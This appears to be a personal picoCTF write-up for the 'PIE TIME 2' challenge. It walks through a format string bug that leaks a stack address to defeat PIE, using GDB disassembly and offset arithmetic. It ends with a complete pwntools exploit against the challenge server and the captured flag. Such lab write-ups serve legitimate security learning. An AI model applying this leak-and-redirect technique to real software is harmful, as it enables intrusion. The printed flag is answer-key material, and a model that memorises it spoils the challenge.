Let’s run the file command on the ELF binary.
file
file vuln
vuln: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=89c0ed5ed3766d1b85809c2bef48b6f5f0ef9364, for GNU/Linux 3.2.0, not stripped
All the security features are enabled.
checksec
checksec vuln
[*] '/home/picoctf/pwn/pie_time2/vuln'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No
Here’s the source code.
C code
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void segfault_handler() {
printf("Segfault Occurred, incorrect address.\n");
exit(0);
}
void call_functions() {
char buffer[64];
printf("Enter your name:");
fgets(buffer, 64, stdin);
printf(buffer);
unsigned long val;
printf(" enter the address to jump to, ex => 0x12345: ");
scanf("%lx", &val);
void (*foo)(void) = (void (*)())val;
foo();
}
int win() {
FILE *fptr;
char c;
printf("You won!\n");
// Open file
fptr = fopen("flag.txt", "r");
if (fptr == NULL)
{
printf("Cannot open file.\n");
exit(0);
}
// Read contents from file
c = fgetc(fptr);
while (c != EOF)
{
printf ("%c", c);
c = fgetc(fptr);
}
printf("\n");
fclose(fptr);
}
int main() {
signal(SIGSEGV, segfault_handler);
setvbuf(stdout, NULL, _IONBF, 0); // _IONBF = Unbuffered
call_functions();
return 0;
}
The vulnerability is a format string bug.
The code uses printf to print the contents of a character array directly, without using a format specifier like “%s”.
void call_functions() {
char buffer[64];
printf("Enter your name:");
fgets(buffer, 64, stdin);
printf(buffer);
...
}
The binary is almost identical to the binary for PIE TIME.
It first asks for your name, then for an address.
To get the flag we need to enter the address of the win function, but since there are no direct memory leaks, we must leverage the format string bug to grab an address from the stack.
Enter your name:hwkim301
enter the address to jump to, ex => 0x12345: 0x55555555536a
Segfault Occurred, incorrect address.
I can confirm that the 8th value printed my input ‘AAAAAAAAA’(0x4141414141414141).
./vuln
Enter your name:AAAAAAAAA %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p
AAAAAAAAA 0x5557b40352a1 0xfbad2288 0x7ffc4e8b3240 (nil) 0x410 0x7ffc4e8b3250 0x7f1e9c5ca415 0x4141414141414141 0x2070252070252041 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x2520702520702520 0x70252070252070 (nil) 0xb6b770174d159300 0x7ffc4e8b32a0 enter the address to jump to, ex => 0x12345: Segfault Occurred, incorrect address.
Since the binary is compiled with PIE, we must work with function offsets rather than static addresses.
gef➤ p win
$1 = {<text variable, no debug info>} 0x136a <win>
gef➤ p main
$2 = {<text variable, no debug info>} 0x1400 <main>
The offset from the start of the main function (0x1400) to the start of the win function (0x136a) is -150 bytes (0x136a - 0x1400).
./vuln
Enter your name:%p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p
0x55aefbc5c2a1 0xfbad2288 0x7fff72052160 (nil) 0x410 0x7fff72052170 0x7f79eac98415 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x20702520702520 (nil) 0x187fb725601aee00 0x7fff720521c0 0x55aee0b43441 0x7fff72052260 0x7f79eac301ca enter the address to jump to, ex => 0x12345: Segfault Occurred, incorrect address.
Previously we figured out from my last writeup that even if PIE is enabled, the last 3 numbers or nibbles of the memory address never changes due to page alignment.
If you look closely at the 19th %p it printed 0x55aee0b43441
.
gef➤ disass main
Dump of assembler code for function main:
0x0000000000001400 <+0>: endbr64
0x0000000000001404 <+4>: push rbp
0x0000000000001405 <+5>: mov rbp,rsp
0x0000000000001408 <+8>: lea rsi,[rip+0xfffffffffffffe9a] # 0x12a9 <segfault_handler>
0x000000000000140f <+15>: mov edi,0xb
0x0000000000001414 <+20>: call 0x1170 <signal@plt>
0x0000000000001419 <+25>: mov rax,QWORD PTR [rip+0x2bf0] # 0x4010 <stdout@@GLIBC_2.2.5>
0x0000000000001420 <+32>: mov ecx,0x0
0x0000000000001425 <+37>: mov edx,0x2
0x000000000000142a <+42>: mov esi,0x0
0x000000000000142f <+47>: mov rdi,rax
0x0000000000001432 <+50>: call 0x1180 <setvbuf@plt>
0x0000000000001437 <+55>: mov eax,0x0
0x000000000000143c <+60>: call 0x12c7 <call_functions>
0x0000000000001441 <+65>: mov eax,0x0
0x0000000000001446 <+70>: pop rbp
0x0000000000001447 <+71>: ret
gef➤ disass win
Dump of assembler code for function win:
0x000000000000136a <+0>: endbr64
0x000000000000136e <+4>: push rbp
0x000000000000136f <+5>: mov rbp,rsp
0x0000000000001372 <+8>: sub rsp,0x10
0x0000000000001376 <+12>: lea rdi,[rip+0xcf6] # 0x2073
0x000000000000137d <+19>: call 0x1110 <puts@plt>
0x0000000000001382 <+24>: lea rsi,[rip+0xcf3] # 0x207c
0x0000000000001389 <+31>: lea rdi,[rip+0xcee] # 0x207e
0x0000000000001390 <+38>: call 0x1190 <fopen@plt>
0x0000000000001395 <+43>: mov QWORD PTR [rbp-0x8],rax
0x0000000000001399 <+47>: cmp QWORD PTR [rbp-0x8],0x0
0x000000000000139e <+52>: jne 0x13b6 <win+76>
0x00000000000013a0 <+54>: lea rdi,[rip+0xce0] # 0x2087
0x00000000000013a7 <+61>: call 0x1110 <puts@plt>
0x00000000000013ac <+66>: mov edi,0x0
0x00000000000013b1 <+71>: call 0x11b0 <exit@plt>
0x00000000000013b6 <+76>: mov rax,QWORD PTR [rbp-0x8]
0x00000000000013ba <+80>: mov rdi,rax
0x00000000000013bd <+83>: call 0x1150 <fgetc@plt>
0x00000000000013c2 <+88>: mov BYTE PTR [rbp-0x9],al
0x00000000000013c5 <+91>: jmp 0x13e1 <win+119>
0x00000000000013c7 <+93>: movsx eax,BYTE PTR [rbp-0x9]
0x00000000000013cb <+97>: mov edi,eax
0x00000000000013cd <+99>: call 0x1100 <putchar@plt>
0x00000000000013d2 <+104>: mov rax,QWORD PTR [rbp-0x8]
0x00000000000013d6 <+108>: mov rdi,rax
0x00000000000013d9 <+111>: call 0x1150 <fgetc@plt>
0x00000000000013de <+116>: mov BYTE PTR [rbp-0x9],al
0x00000000000013e1 <+119>: cmp BYTE PTR [rbp-0x9],0xff
0x00000000000013e5 <+123>: jne 0x13c7 <win+93>
0x00000000000013e7 <+125>: mov edi,0xa
0x00000000000013ec <+130>: call 0x1100 <putchar@plt>
0x00000000000013f1 <+135>: mov rax,QWORD PTR [rbp-0x8]
0x00000000000013f5 <+139>: mov rdi,rax
0x00000000000013f8 <+142>: call 0x1120 <fclose@plt>
0x00000000000013fd <+147>: nop
0x00000000000013fe <+148>: leave
0x00000000000013ff <+149>: ret
End of assembler dump.
It has the same last 3 numbers as 0x0000000000001441 <+65>: mov eax,0x0
in the main function.
The leaked address (0x…441) is the return address from call_functions, located at offset +65 within main.
The win function is at a static offset of 0x136a.
Therefore, the offset from our leaked address to the win function is 0x1441 - 0x136a = 215 bytes. We must subtract this from the leaked address to find win.
Instead of typing 19 %p
s manually to find the address in the main function, you can use a format specifier %19$p
.
%19$p
allows you to directly select the 19th argument from the printf function.
Another important note is that since the offset from the binary base to the main function is 0x1400
and the offset to the win function is 0x136a
you need to subtract the offset.
Here’s the full exploit code.
Full exploit
from pwn import *
r = remote("rescued-float.picoctf.net", 52433)
r.sendlineafter(b"Enter your name:", b"%19$p")
leak = int(r.recvline().strip(), 16)
print(hex(leak))
win = leak - 215
r.sendlineafter(b"ex => 0x12345:", hex(win).encode("utf-8"))
r.interactive()
# picoCTF{p13_5h0u1dn'7_134k_2718fe04} pie_shouldn't_leak
Some questions after getting the flag
Even though I solved the problem with looking at writeups and spending a couple hours, I still have 2 questions.
1. Why does the virtual address of ELF files compiled with PIE always start at 0x0000555555555400
?
Someone on stack-overflow posted almost the same question I had.
After looking at the linux kernel source code, I guess I can understand a little bit of the reason.
https://elixir.bootlin.com/linux/v6.13/source/arch/x86/include/asm/elf.h
https://elixir.bootlin.com/linux/v6.13/source/arch/x86/include/asm/page_64_types.h
2. Is there a way to find the offset faster instead of entering a bunch of %p
s to get the offset?
I still don’t know the answer to this one, even the guys who eat sleep and pwn seem to just enter a whole bunch of %p
s lol.
Reference Writeup
1. This writeup is pretty good